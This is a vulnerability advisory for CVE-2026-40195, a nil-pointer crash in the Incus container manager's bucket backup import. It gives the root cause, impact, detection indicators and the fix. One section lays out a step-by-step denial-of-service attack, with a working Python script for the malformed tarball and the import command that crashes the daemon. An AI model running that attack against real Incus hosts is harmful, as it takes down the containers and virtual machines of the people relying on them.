CVE-2026-40195: 
NixOS vulnerability analysis and mitigation

CVE-2026-40195 is a NULL Pointer Dereference (CWE-476) vulnerability in Incus, a system container and virtual machine manager developed by Linux Containers. The flaw exists in versions before 7.0.0 and allows an authenticated user with access to the storage bucket feature to crash the Incus daemon (incusd) by importing a malformed backup archive. Repeated exploitation can keep the Incus service offline, constituting a persistent denial of service. The vulnerability was published on May 6, 2026, and was discovered and reported by the team at 7asecurity. It carries a CVSS v3.1 base score of 6.5 (Medium) and a CVSS v4.0 base score of 7.1 (High) (GitHub Advisory).

The root cause is missing nil-pointer validation in the CreateBucketFromBackup function within internal/server/storage/backend.go. When the Incus daemon processes a bucket import operation, it parses the index.yaml file from the supplied archive and immediately accesses members of the srcBackup.Config object (e.g., srcBackup.Config.Bucket.StorageBucketPut and srcBackup.Config.BucketKeys) without first verifying that srcBackup.Config was successfully initialized. A crafted or malformed index.yaml that omits the config block results in srcBackup.Config being a nil pointer; dereferencing it triggers a Go runtime panic (SIGSEGV), terminating the daemon process. The attack requires only low privileges (authenticated access to the storage bucket import feature) and no user interaction, and is exploitable over the network (GitHub Advisory).

Successful exploitation causes the incusd daemon to crash immediately, taking the entire Incus node offline and disrupting all hosted system containers and virtual machines managed by that daemon. Because the crash is repeatable with minimal effort, an attacker can sustain a denial-of-service condition indefinitely, preventing legitimate users and administrators from managing workloads. There is no confidentiality or integrity impact — the vulnerability is purely an availability issue affecting the Incus management plane (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, including a Python script to generate the malicious tarball and the exact incus storage bucket import command to trigger the daemon crash. The EPSS score is 0.043% (low probability of widespread exploitation in the near term). There is no evidence of in-the-wild exploitation at this time, no known threat actor attribution, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).

1. Obtain authenticated access: Acquire credentials or an API token for an Incus deployment running a version before 7.0.0 with access to the storage bucket feature.
2. Create the malicious archive: On any system with Python, run the following script to generate a minimal bucket backup tarball whose index.yaml omits the config block:

import tarfile, io
index_content = b"name: dos-trigger\n"
with tarfile.open("nil_panic.tar.gz", "w:gz") as tar:
    info = tarfile.TarInfo(name="backup/index.yaml")
    info.size = len(index_content)
    tar.addfile(info, io.BytesIO(index_content))
print("[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz")

3. Trigger the vulnerable import path: Using the Incus client authenticated to the target, import the crafted archive into any valid storage pool:

incus storage bucket import local-pool nil_panic.tar.gz crash-test

4. Daemon crash: The CreateBucketFromBackup function dereferences the nil srcBackup.Config pointer, triggering a Go runtime panic (SIGSEGV) and terminating the incusd process.
5. Sustain denial of service: Repeat the import command after the daemon restarts (if auto-restart is configured) to keep the Incus node continuously offline (GitHub Advisory).

• Logs: journalctl -u incus entries containing panic: runtime error: invalid memory address or nil pointer dereference and [signal SIGSEGV: segmentation violation code=0x1] originating from github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateBucketFromBackup at backend.go:7754.
• Logs: Systemd log entries showing incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT and incus.service: Failed with result 'exit-code' in rapid succession.
• Logs: Repeated incus.service restart events within a short time window, indicating automated restart followed by re-exploitation.
• Network: Authenticated API calls to the storage bucket import endpoint (POST /1.0/storage-pools/{pool}/buckets) with archive payloads that are unusually small or malformed.
• File System: Presence of small .tar.gz files (e.g., containing only a minimal backup/index.yaml with no config block) uploaded or staged on client systems (GitHub Advisory).

Upgrade Incus to version 7.0.0 or later, which adds nil-pointer validation in CreateBucketFromBackup before accessing srcBackup.Config members. As a workaround prior to patching, restrict access to the storage bucket import feature to only fully trusted users by reviewing and tightening Incus access controls and API permissions. Additionally, monitor service logs for repeated daemon crashes as an indicator of exploitation attempts (GitHub Advisory).

The vulnerability was discovered and responsibly disclosed by the team at 7asecurity, and the advisory was published by Incus maintainer Stéphane Graber (stgraber). The issue was classified as "Moderate" severity by the Incus project. Coverage has appeared on Linux security advisory aggregators and vulnerability tracking platforms, but there has been no significant broader media or social media discussion beyond standard CVE tracking (GitHub Advisory).